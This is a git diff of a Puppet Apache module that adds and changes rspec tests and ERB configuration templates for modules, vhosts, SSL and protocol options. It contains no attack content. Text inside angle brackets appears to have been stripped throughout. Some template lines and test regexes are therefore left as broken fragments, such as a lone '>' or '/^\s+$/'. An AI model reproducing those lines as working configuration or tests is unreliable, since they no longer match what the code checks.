- it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/apache2\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) }
- end
- end
-
- context "on a RedHat 6-based OS", :compile do
- let :facts do
- {
- :id => 'root',
- :kernel => 'Linux',
- :osfamily => 'RedHat',
- :operatingsystem => 'RedHat',
- :operatingsystemrelease => '6',
- :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
- :concat_basedir => '/dne',
- :is_pe => false,
- }
- end
- context "with Apache version < 2.4" do
- let :params do
- {
- :apache_version => '2.2',
- }
- end
-
- it { is_expected.to contain_apache__mod("disk_cache") }
- it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/httpd\/proxy\"\nCacheDirLevels 2\nCacheDirLength 1/) }
- end
- context "with Apache version >= 2.4" do
- let :params do
- {
- :apache_version => '2.4',
- }
- end
-
- it { is_expected.to contain_apache__mod("cache_disk") }
- it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/httpd\/proxy\"\nCacheDirLevels 2\nCacheDirLength 1/) }
- end
- end
- context "on a FreeBSD OS", :compile do
- let :facts do
- {
- :id => 'root',
- :kernel => 'FreeBSD',
- :osfamily => 'FreeBSD',
- :operatingsystem => 'FreeBSD',
- :operatingsystemrelease => '10',
- :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
- :concat_basedir => '/dne',
- :is_pe => false,
- }
- end
- context "with Apache version < 2.4" do
- let :params do
- {
- :apache_version => '2.2',
- }
- end
-
- it { is_expected.to contain_apache__mod("disk_cache") }
- it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) }
- end
- context "with Apache version >= 2.4" do
- let :params do
- {
- :apache_version => '2.4',
- }
- end
-
- it { is_expected.to contain_apache__mod("cache_disk") }
- it { is_expected.to contain_file("disk_cache.conf").with(:content => /CacheEnable disk /\nCacheRoot \"\/var\/cache\/mod_cache_disk\"\nCacheDirLevels 2\nCacheDirLength 1/) }
- end
- end
-end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/intercept_form_submit_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/intercept_form_submit_spec.rb
new file mode 100644
index 000000000..14a91fcee
--- /dev/null
+++ b/modules/services/unix/http/apache/spec/classes/mod/intercept_form_submit_spec.rb
@@ -0,0 +1,44 @@
+require 'spec_helper'
+
+describe 'apache::mod::intercept_form_submit', :type => :class do
+ it_behaves_like "a mod class, without including apache"
+
+ context "default configuration with parameters" do
+ context "on a Debian OS" do
+ let :facts do
+ {
+ :lsbdistcodename => 'squeeze',
+ :osfamily => 'Debian',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :id => 'root',
+ :kernel => 'Linux',
+ :operatingsystem => 'Debian',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ it { is_expected.to contain_class("apache") }
+ it { is_expected.to contain_package("libapache2-mod-intercept-form-submit") }
+ it { is_expected.to contain_apache__mod('intercept_form_submit') }
+ end #Debian
+
+ context "on a RedHat OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :id => 'root',
+ :kernel => 'Linux',
+ :operatingsystem => 'RedHat',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ it { is_expected.to contain_class("apache") }
+ it { is_expected.to contain_package("mod_intercept_form_submit") }
+ it { is_expected.to contain_apache__mod('intercept_form_submit') }
+ end # Redhat
+ end
+end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/lookup_identity.rb b/modules/services/unix/http/apache/spec/classes/mod/lookup_identity.rb
new file mode 100644
index 000000000..a04e2e88e
--- /dev/null
+++ b/modules/services/unix/http/apache/spec/classes/mod/lookup_identity.rb
@@ -0,0 +1,44 @@
+require 'spec_helper'
+
+describe 'apache::mod::lookup_identity', :type => :class do
+ it_behaves_like "a mod class, without including apache"
+
+ context "default configuration with parameters" do
+ context "on a Debian OS" do
+ let :facts do
+ {
+ :lsbdistcodename => 'squeeze',
+ :osfamily => 'Debian',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :id => 'root',
+ :kernel => 'Linux',
+ :operatingsystem => 'Debian',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ it { is_expected.to contain_class("apache") }
+ it { is_expected.to contain_package("libapache2-mod-lookup-identity") }
+ it { is_expected.to contain_apache__mod('lookup_identity') }
+ end #Debian
+
+ context "on a RedHat OS" do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :id => 'root',
+ :kernel => 'Linux',
+ :operatingsystem => 'RedHat',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ it { is_expected.to contain_class("apache") }
+ it { is_expected.to contain_package("mod_lookup_identity") }
+ it { is_expected.to contain_apache__mod('lookup_identity') }
+ end # Redhat
+ end
+end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb
index 3f485b42a..200d45706 100644
--- a/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/mod/passenger_spec.rb
@@ -68,12 +68,6 @@ describe 'apache::mod::passenger', :type => :class do
end
it { is_expected.to contain_file('passenger.conf').with_content(/^ PassengerMaxRequests 20$/) }
end
- describe "with passenger_spawn_method => bogus" do
- let :params do
- { :passenger_spawn_method => 'bogus' }
- end
- it { is_expected.to raise_error(Puppet::Error, /not permitted for passenger_spawn_method/) }
- end
describe "with passenger_spawn_method => direct" do
let :params do
{ :passenger_spawn_method => 'direct' }
diff --git a/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb
index 28b5e2642..e30f7214f 100644
--- a/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/mod/security_spec.rb
@@ -75,8 +75,15 @@ describe 'apache::mod::security', :type => :class do
:target => '/tmp/foo/bar.conf',
) }
end
+ describe 'with other modsec parameters' do
+ let :params do
+ {
+ :manage_security_crs => false
+ }
+ end
+ it { should_not contain_file('/etc/httpd/modsecurity.d/security_crs.conf') }
+ end
end
-
context "on Debian based systems" do
let :facts do
{
diff --git a/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb
index 10badfa03..18816bbd9 100644
--- a/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/mod/ssl_spec.rb
@@ -18,30 +18,59 @@ describe 'apache::mod::ssl', :type => :class do
it { expect { catalogue }.to raise_error(Puppet::Error, /Unsupported osfamily:/) }
end
- context 'on a RedHat OS' do
- let :facts do
- {
- :osfamily => 'RedHat',
- :operatingsystemrelease => '6',
- :concat_basedir => '/dne',
- :operatingsystem => 'RedHat',
- :id => 'root',
- :kernel => 'Linux',
- :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
- :is_pe => false,
- }
- end
- it { is_expected.to contain_class('apache::params') }
- it { is_expected.to contain_apache__mod('ssl') }
- it { is_expected.to contain_package('mod_ssl') }
- context 'with a custom package_name parameter' do
- let :params do
- { :package_name => 'httpd24-mod_ssl' }
+ context 'on a RedHat' do
+ context '6 OS' do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '6',
+ :concat_basedir => '/dne',
+ :operatingsystem => 'RedHat',
+ :id => 'root',
+ :kernel => 'Linux',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
end
it { is_expected.to contain_class('apache::params') }
it { is_expected.to contain_apache__mod('ssl') }
- it { is_expected.to contain_package('httpd24-mod_ssl') }
- it { is_expected.not_to contain_package('mod_ssl') }
+ it { is_expected.to contain_package('mod_ssl') }
+ it { is_expected.to contain_file('ssl.conf').with_path('/etc/httpd/conf.d/ssl.conf') }
+ context 'with a custom package_name parameter' do
+ let :params do
+ { :package_name => 'httpd24-mod_ssl' }
+ end
+ it { is_expected.to contain_class('apache::params') }
+ it { is_expected.to contain_apache__mod('ssl') }
+ it { is_expected.to contain_package('httpd24-mod_ssl') }
+ it { is_expected.not_to contain_package('mod_ssl') }
+ it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/cache/mod_ssl/scache\(512000\)"$})}
+ end
+ end
+ context '7 OS with custom directories for PR#1635' do
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '7',
+ :concat_basedir => '/dne',
+ :operatingsystem => 'RedHat',
+ :id => 'root',
+ :kernel => 'Linux',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ let :pre_condition do
+ "class { 'apache':
+ confd_dir => '/etc/httpd/conf.puppet.d',
+ default_mods => false,
+ default_vhost => false,
+ mod_dir => '/etc/httpd/conf.modules.puppet.d',
+ vhost_dir => '/etc/httpd/conf.puppet.d',
+ }"
+ end
+ it { is_expected.to contain_package('mod_ssl') }
+ it { is_expected.to contain_file('ssl.conf').with_path('/etc/httpd/conf.puppet.d/ssl.conf') }
end
end
@@ -96,6 +125,7 @@ describe 'apache::mod::ssl', :type => :class do
end
it { is_expected.to contain_class('apache::params') }
it { is_expected.to contain_apache__mod('ssl') }
+ it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/run/ssl_scache\(512000\)"$})}
end
context 'on a Suse OS' do
@@ -113,6 +143,7 @@ describe 'apache::mod::ssl', :type => :class do
end
it { is_expected.to contain_class('apache::params') }
it { is_expected.to contain_apache__mod('ssl') }
+ it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/var/lib/apache2/ssl_scache\(512000\)"$})}
end
# Template config doesn't vary by distro
context "on all distros" do
@@ -133,6 +164,14 @@ describe 'apache::mod::ssl', :type => :class do
it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLPassPhraseDialog builtin$/)}
end
+ context 'setting ssl_ca to a path' do
+ let :params do
+ {
+ :ssl_ca => '/etc/pki/some/path/ca.crt',
+ }
+ end
+ it { is_expected.to contain_file('ssl.conf').with_content(/^ SSLCACertificateFile/)}
+ end
context "with Apache version < 2.4" do
let :params do
{
@@ -234,5 +273,21 @@ describe 'apache::mod::ssl', :type => :class do
end
it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLMutex posixsem$})}
end
+ context 'setting ssl_sessioncache' do
+ let :params do
+ {
+ :ssl_sessioncache => '/tmp/customsessioncache(51200)',
+ }
+ end
+ it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLSessionCache "shmcb:/tmp/customsessioncache\(51200\)"$})}
+ end
+ context 'setting ssl_proxy_protocol' do
+ let :params do
+ {
+ :ssl_proxy_protocol => [ '-ALL', '+TLSv1'],
+ }
+ end
+ it { is_expected.to contain_file('ssl.conf').with_content(%r{^ SSLProxyProtocol -ALL \+TLSv1$})}
+ end
end
end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/userdir_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/userdir_spec.rb
new file mode 100644
index 000000000..9f23ba274
--- /dev/null
+++ b/modules/services/unix/http/apache/spec/classes/mod/userdir_spec.rb
@@ -0,0 +1,53 @@
+require 'spec_helper'
+
+describe 'apache::mod::userdir', :type => :class do
+ context "on a Debian OS" do
+ let :pre_condition do
+ 'class { "apache":
+ default_mods => false,
+ mod_dir => "/tmp/junk",
+ }'
+ end
+ let :facts do
+ {
+ :lsbdistcodename => 'squeeze',
+ :osfamily => 'Debian',
+ :operatingsystemrelease => '6',
+ :operatingsystemmajrelease => '6',
+ :concat_basedir => '/dne',
+ :operatingsystem => 'Debian',
+ :id => 'root',
+ :kernel => 'Linux',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :is_pe => false,
+ }
+ end
+ context "default parameters" do
+ it { should compile }
+ end
+ context "with dir set to something" do
+ let :params do
+ {
+ :dir => 'hi',
+ }
+ end
+ it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+/home/\*/hi$})}
+ end
+ context "with home set to something" do
+ let :params do
+ {
+ :home => '/u',
+ }
+ end
+ it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+/u/\*/public_html$})}
+ end
+ context "with path set to something" do
+ let :params do
+ {
+ :path => 'public_html /usr/web http://www.example.com/',
+ }
+ end
+ it { should contain_file("userdir.conf").with_content(%r{^\s*UserDir\s+public_html /usr/web http://www\.example\.com/$})}
+ end
+ end
+end
diff --git a/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb b/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb
index 1d54c5408..6261a9590 100644
--- a/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/mod/wsgi_spec.rb
@@ -43,6 +43,12 @@ describe 'apache::mod::wsgi', :type => :class do
}
it { is_expected.to contain_package("mod_wsgi") }
+ describe "with WSGIRestrictEmbedded enabled" do
+ let :params do
+ { :wsgi_restrict_embedded => 'On' }
+ end
+ it {is_expected.to contain_file('wsgi.conf').with_content(/^ WSGIRestrictEmbedded On$/)}
+ end
describe "with custom WSGISocketPrefix" do
let :params do
{ :wsgi_socket_prefix => 'run/wsgi' }
diff --git a/modules/services/unix/http/apache/spec/classes/service_spec.rb b/modules/services/unix/http/apache/spec/classes/service_spec.rb
index f53937a7f..a065abc2f 100644
--- a/modules/services/unix/http/apache/spec/classes/service_spec.rb
+++ b/modules/services/unix/http/apache/spec/classes/service_spec.rb
@@ -53,22 +53,6 @@ describe 'apache::service', :type => :class do
}
end
- context "$service_enable must be a bool" do
- let (:params) {{ :service_enable => 'not-a-boolean' }}
-
- it 'should fail' do
- expect { catalogue }.to raise_error(Puppet::Error, /is not a boolean/)
- end
- end
-
- context "$service_manage must be a bool" do
- let (:params) {{ :service_manage => 'not-a-boolean' }}
-
- it 'should fail' do
- expect { catalogue }.to raise_error(Puppet::Error, /is not a boolean/)
- end
- end
-
context "with $service_ensure => 'running'" do
let (:params) {{ :service_ensure => 'running', }}
it { is_expected.to contain_service("httpd").with(
diff --git a/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb b/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb
index 7d566b071..5f996fd6d 100644
--- a/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb
+++ b/modules/services/unix/http/apache/spec/defines/custom_config_spec.rb
@@ -121,18 +121,5 @@ describe 'apache::custom_config', :type => :define do
}.to raise_error(Puppet::Error, /One of \$content and \$source must be specified\./)
end
end
- context 'bad ensure' do
- let :params do
- {
- 'content' => 'foo',
- 'ensure' => 'foo',
- }
- end
- it do
- expect {
- catalogue
- }.to raise_error(Puppet::Error, /is not supported for ensure/)
- end
- end
end
end
diff --git a/modules/services/unix/http/apache/spec/defines/vhost_spec.rb b/modules/services/unix/http/apache/spec/defines/vhost_spec.rb
index 3fd94bdef..bb447247b 100644
--- a/modules/services/unix/http/apache/spec/defines/vhost_spec.rb
+++ b/modules/services/unix/http/apache/spec/defines/vhost_spec.rb
@@ -245,6 +245,14 @@ describe 'apache::vhost', :type => :define do
},
],
},
+ { 'path' => '/var/www/files',
+ 'provider' => 'location',
+ 'limit_except' => [
+ { 'methods' => 'GET HEAD',
+ 'require' => ['valid-user']
+ },
+ ],
+ },
{ 'path' => '/var/www/dav',
'dav' => 'filesystem',
'dav_depth_infinity' => true,
@@ -388,6 +396,7 @@ describe 'apache::vhost', :type => :define do
'passenger_app_env' => 'test',
'passenger_ruby' => '/usr/bin/ruby1.9.1',
'passenger_min_instances' => '1',
+ 'passenger_max_requests' => '1000',
'passenger_start_timeout' => '600',
'passenger_pre_start' => 'http://localhost/myapp',
'passenger_high_performance' => true,
@@ -407,6 +416,7 @@ describe 'apache::vhost', :type => :define do
'krb_auth_realms' => ['EXAMPLE.ORG','EXAMPLE.NET'],
'krb_5keytab' => '/tmp/keytab5',
'krb_local_user_mapping' => 'off',
+ 'http_protocol_options' => 'Strict LenientMethods Allow0.9',
'keepalive' => 'on',
'keepalive_timeout' => '100',
'max_keepalive_requests' => '1000',
@@ -524,6 +534,10 @@ describe 'apache::vhost', :type => :define do
:content => /^\s+$/ ) }
it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with(
:content => /\s+\s*Require valid-user\s*<\/Limit>/m ) }
+ it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with(
+ :content => /^\s+$/ ) }
+ it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with(
+ :content => /\s+\s*Require valid-user\s*<\/LimitExcept>/m ) }
it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with(
:content => /^\s+Dav\sfilesystem$/ ) }
it { is_expected.to contain_concat__fragment('rspec.example.com-directories').with(
@@ -617,6 +631,8 @@ describe 'apache::vhost', :type => :define do
:content => /^\s+KrbSaveCredentials\soff$/)}
it { is_expected.to contain_concat__fragment('rspec.example.com-auth_kerb').with(
:content => /^\s+KrbVerifyKDC\son$/)}
+ it { is_expected.to contain_concat__fragment('rspec.example.com-http_protocol_options').with(
+ :content => /^\s*HttpProtocolOptions\s+Strict\s+LenientMethods\s+Allow0\.9$/)}
it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with(
:content => /^\s+KeepAlive\son$/)}
it { is_expected.to contain_concat__fragment('rspec.example.com-keepalive_options').with(
@@ -659,6 +675,80 @@ describe 'apache::vhost', :type => :define do
it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') }
end
+ context 'vhost with multiple ports' do
+ let :params do
+ {
+ 'port' => ['80', '8080'],
+ 'ip' => '127.0.0.1',
+ 'ip_based' => true,
+ 'servername' => 'example.com',
+ 'docroot' => '/var/www/html',
+ 'add_listen' => true,
+ 'ensure' => 'present'
+ }
+ end
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '7',
+ :concat_basedir => '/dne',
+ :operatingsystem => 'RedHat',
+ :id => 'root',
+ :kernel => 'Linux',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :kernelversion => '3.6.2',
+ :is_pe => false,
+ }
+ end
+
+ it { is_expected.to compile }
+ it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with(
+ :content => /[.\/m]*[.\/m]*$/ ) }
+ it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') }
+ it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:8080') }
+ it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') }
+ it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:8080') }
+ end
+
+ context 'vhost with multiple ip addresses, multiple ports' do
+ let :params do
+ {
+ 'port' => ['80', '8080'],
+ 'ip' => ['127.0.0.1','::1'],
+ 'ip_based' => true,
+ 'servername' => 'example.com',
+ 'docroot' => '/var/www/html',
+ 'add_listen' => true,
+ 'ensure' => 'present'
+ }
+ end
+ let :facts do
+ {
+ :osfamily => 'RedHat',
+ :operatingsystemrelease => '7',
+ :concat_basedir => '/dne',
+ :operatingsystem => 'RedHat',
+ :id => 'root',
+ :kernel => 'Linux',
+ :path => '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
+ :kernelversion => '3.6.2',
+ :is_pe => false,
+ }
+ end
+
+ it { is_expected.to compile }
+ it { is_expected.to contain_concat__fragment('rspec.example.com-apache-header').with(
+ :content => /[.\/m]*[.\/m]*$/ ) }
+ it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:80') }
+ it { is_expected.to contain_concat__fragment('Listen 127.0.0.1:8080') }
+ it { is_expected.to contain_concat__fragment('Listen [::1]:80') }
+ it { is_expected.to contain_concat__fragment('Listen [::1]:8080') }
+ it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:80') }
+ it { is_expected.to_not contain_concat__fragment('NameVirtualHost 127.0.0.1:8080') }
+ it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:80') }
+ it { is_expected.to_not contain_concat__fragment('NameVirtualHost [::1]:8080') }
+ end
+
context 'vhost with ipv6 address' do
let :params do
{
diff --git a/modules/services/unix/http/apache/spec/fixtures/site_apache/templates/fake.conf.erb b/modules/services/unix/http/apache/spec/fixtures/site_apache/templates/fake.conf.erb
new file mode 100644
index 000000000..019debfe4
--- /dev/null
+++ b/modules/services/unix/http/apache/spec/fixtures/site_apache/templates/fake.conf.erb
@@ -0,0 +1 @@
+Fake template for rspec.
diff --git a/modules/services/unix/http/apache/spec/spec.opts b/modules/services/unix/http/apache/spec/spec.opts
deleted file mode 100644
index 91cd6427e..000000000
--- a/modules/services/unix/http/apache/spec/spec.opts
+++ /dev/null
@@ -1,6 +0,0 @@
---format
-s
---colour
---loadby
-mtime
---backtrace
diff --git a/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb b/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb
index 5d93612af..c652104c2 100644
--- a/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb
+++ b/modules/services/unix/http/apache/spec/spec_helper_acceptance.rb
@@ -1,8 +1,11 @@
require 'beaker-rspec/spec_helper'
require 'beaker-rspec/helpers/serverspec'
require 'beaker/puppet_install_helper'
+require 'beaker/module_install_helper'
run_puppet_install_helper
+install_module_on(hosts)
+install_module_dependencies_on(hosts)
RSpec.configure do |c|
c.filter_run :focus => true
@@ -12,9 +15,6 @@ RSpec.configure do |c|
c.filter_run_excluding :ipv6 => true
end
- # Project root
- proj_root = File.expand_path(File.join(File.dirname(__FILE__), '..'))
-
# Readable test descriptions
c.formatter = :documentation
@@ -42,11 +42,6 @@ RSpec.configure do |c|
# Install module and dependencies
hosts.each do |host|
- copy_module_to(host, :source => proj_root, :module_name => 'apache')
-
- on host, puppet('module','install','puppetlabs-stdlib')
- on host, puppet('module','install','puppetlabs-concat')
-
# Required for mod_passenger tests.
if fact('osfamily') == 'RedHat'
on host, puppet('module','install','stahnma/epel')
diff --git a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb b/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb
deleted file mode 100644
index b162127d0..000000000
--- a/modules/services/unix/http/apache/spec/unit/puppet/parser/functions/enclose_ipv6_spec.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-#! /usr/bin/env ruby -S rspec
-require 'spec_helper'
-
-describe "the enclose_ipv6 function" do
- let(:scope) { PuppetlabsSpec::PuppetInternals.scope }
-
- it "should exist" do
- expect(Puppet::Parser::Functions.function("enclose_ipv6")).to eq("function_enclose_ipv6")
- end
-
- it "should raise a ParseError if there is less than 1 arguments" do
- expect { scope.function_enclose_ipv6([]) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should raise a ParseError if there is more than 1 arguments" do
- expect { scope.function_enclose_ipv6(['argument1','argument2']) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should raise a ParseError when given garbage" do
- expect { scope.function_enclose_ipv6(['garbage']) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should raise a ParseError when given something else than a string or an array" do
- expect { scope.function_enclose_ipv6([['1' => '127.0.0.1']]) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should not raise a ParseError when given a single ip string" do
- expect { scope.function_enclose_ipv6(['127.0.0.1']) }.to_not raise_error
- end
-
- it "should not raise a ParseError when given * as ip string" do
- expect { scope.function_enclose_ipv6(['*']) }.to_not raise_error
- end
-
- it "should not raise a ParseError when given an array of ip strings" do
- expect { scope.function_enclose_ipv6([['127.0.0.1','fe80::1']]) }.to_not raise_error
- end
-
- it "should not raise a ParseError when given differently notations of ip addresses" do
- expect { scope.function_enclose_ipv6([['127.0.0.1','fe80::1','[fe80::1]']]) }.to_not raise_error
- end
-
- it "should raise a ParseError when given a wrong ipv4 address" do
- expect { scope.function_enclose_ipv6(['127..0.0.1']) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should raise a ParseError when given a ipv4 address with square brackets" do
- expect { scope.function_enclose_ipv6(['[127.0.0.1]']) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should raise a ParseError when given a wrong ipv6 address" do
- expect { scope.function_enclose_ipv6(['fe80:::1']) }.to( raise_error(Puppet::ParseError) )
- end
-
- it "should embrace ipv6 adresses within an array of ip addresses" do
- result = scope.function_enclose_ipv6([['127.0.0.1','fe80::1','[fe80::2]']])
- expect(result).to(eq(['127.0.0.1','[fe80::1]','[fe80::2]']))
- end
-
- it "should embrace a single ipv6 adresse" do
- result = scope.function_enclose_ipv6(['fe80::1'])
- expect(result).to(eq(['[fe80::1]']))
- end
-
- it "should not embrace a single ipv4 adresse" do
- result = scope.function_enclose_ipv6(['127.0.0.1'])
- expect(result).to(eq(['127.0.0.1']))
- end
-end
diff --git a/modules/services/unix/http/apache/templates/httpd.conf.erb b/modules/services/unix/http/apache/templates/httpd.conf.erb
old mode 100644
new mode 100755
index 4445d75ff..d5b31c738
--- a/modules/services/unix/http/apache/templates/httpd.conf.erb
+++ b/modules/services/unix/http/apache/templates/httpd.conf.erb
@@ -11,6 +11,10 @@ KeepAlive <%= @keepalive %>
MaxKeepAliveRequests <%= @max_keepalive_requests %>
KeepAliveTimeout <%= @keepalive_timeout %>
LimitRequestFieldSize <%= @limitreqfieldsize %>
+# Actually >= 2.4.24, but the minor version is not provided
+<%- if @http_protocol_options and scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%>
+HttpProtocolOptions <%= @http_protocol_options %>
+<%- end -%>
<%- if @rewrite_lock and scope.function_versioncmp([@apache_version, '2.2']) <= 0 -%>
RewriteLock <%= @rewrite_lock %>
@@ -20,7 +24,7 @@ User <%= @user %>
Group <%= @group %>
AccessFileName .htaccess
-
+>
<%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%>
Require all denied
<%- else -%>
@@ -61,6 +65,9 @@ EnableSendfile <%= @sendfile %>
<%- if @allow_encoded_slashes -%>
AllowEncodedSlashes <%= @allow_encoded_slashes %>
<%- end -%>
+<%- if @file_e_tag -%>
+FileETag <%= @file_e_tag %>
+<%- end -%>
#Listen 80
@@ -115,7 +122,7 @@ Include "<%= @vhost_load_dir %>/<%= @vhost_include_pattern %>"
# /usr/share/apache2/error on debian
Alias /error/ "<%= @error_documents_path %>/"
-">
+>
AllowOverride None
Options IncludesNoExec
AddOutputFilter Includes html
diff --git a/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb b/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb
index 8d73b239d..ed1334ec2 100644
--- a/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb
+++ b/modules/services/unix/http/apache/templates/mod/authnz_ldap.conf.erb
@@ -1,4 +1,4 @@
-<% if @_verify_server_cert == true -%>
+<% if @verify_server_cert == true -%>
LDAPVerifyServerCert On
<% else -%>
LDAPVerifyServerCert Off
diff --git a/modules/services/unix/http/apache/templates/mod/cluster.conf.erb b/modules/services/unix/http/apache/templates/mod/cluster.conf.erb
index 6a998a0e9..58229a88a 100644
--- a/modules/services/unix/http/apache/templates/mod/cluster.conf.erb
+++ b/modules/services/unix/http/apache/templates/mod/cluster.conf.erb
@@ -12,6 +12,9 @@ Listen <%= @ip %>:<%= @port %>
ManagerBalancerName <%= @balancer_name %>
ServerAdvertise <%= scope.function_bool2httpd([@server_advertise]) %>
+ <%- if @server_advertise == true and @advertise_frequency != nil -%>
+ AdvertiseFrequency <%= @advertise_frequency %>
+ <%- end -%>
SetHandler mod_cluster-manager
diff --git a/modules/services/unix/http/apache/templates/mod/php5.conf.erb b/modules/services/unix/http/apache/templates/mod/php5.conf.erb
deleted file mode 100644
index 3fd100039..000000000
--- a/modules/services/unix/http/apache/templates/mod/php5.conf.erb
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# PHP is an HTML-embedded scripting language which attempts to make it
-# easy for developers to write dynamically generated webpages.
-#
-#
-# LoadModule php5_module modules/libphp5.so
-#
-#
-# # Use of the "ZTS" build with worker is experimental, and no shared
-# # modules are supported.
-# LoadModule php5_module modules/libphp5-zts.so
-#
-
-#
-# Cause the PHP interpreter to handle files with a .php extension.
-#
-)$">
- SetHandler php5-script
-
-
-#
-# Add index.php to the list of files that will be served as directory
-# indexes.
-#
-DirectoryIndex index.php
-
-#
-# Uncomment the following line to allow PHP to pretty-print .phps
-# files as PHP source code:
-#
-#AddType application/x-httpd-php-source .phps
diff --git a/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb b/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb
index fea15f393..f2f0bc0ce 100644
--- a/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb
+++ b/modules/services/unix/http/apache/templates/mod/proxy_html.conf.erb
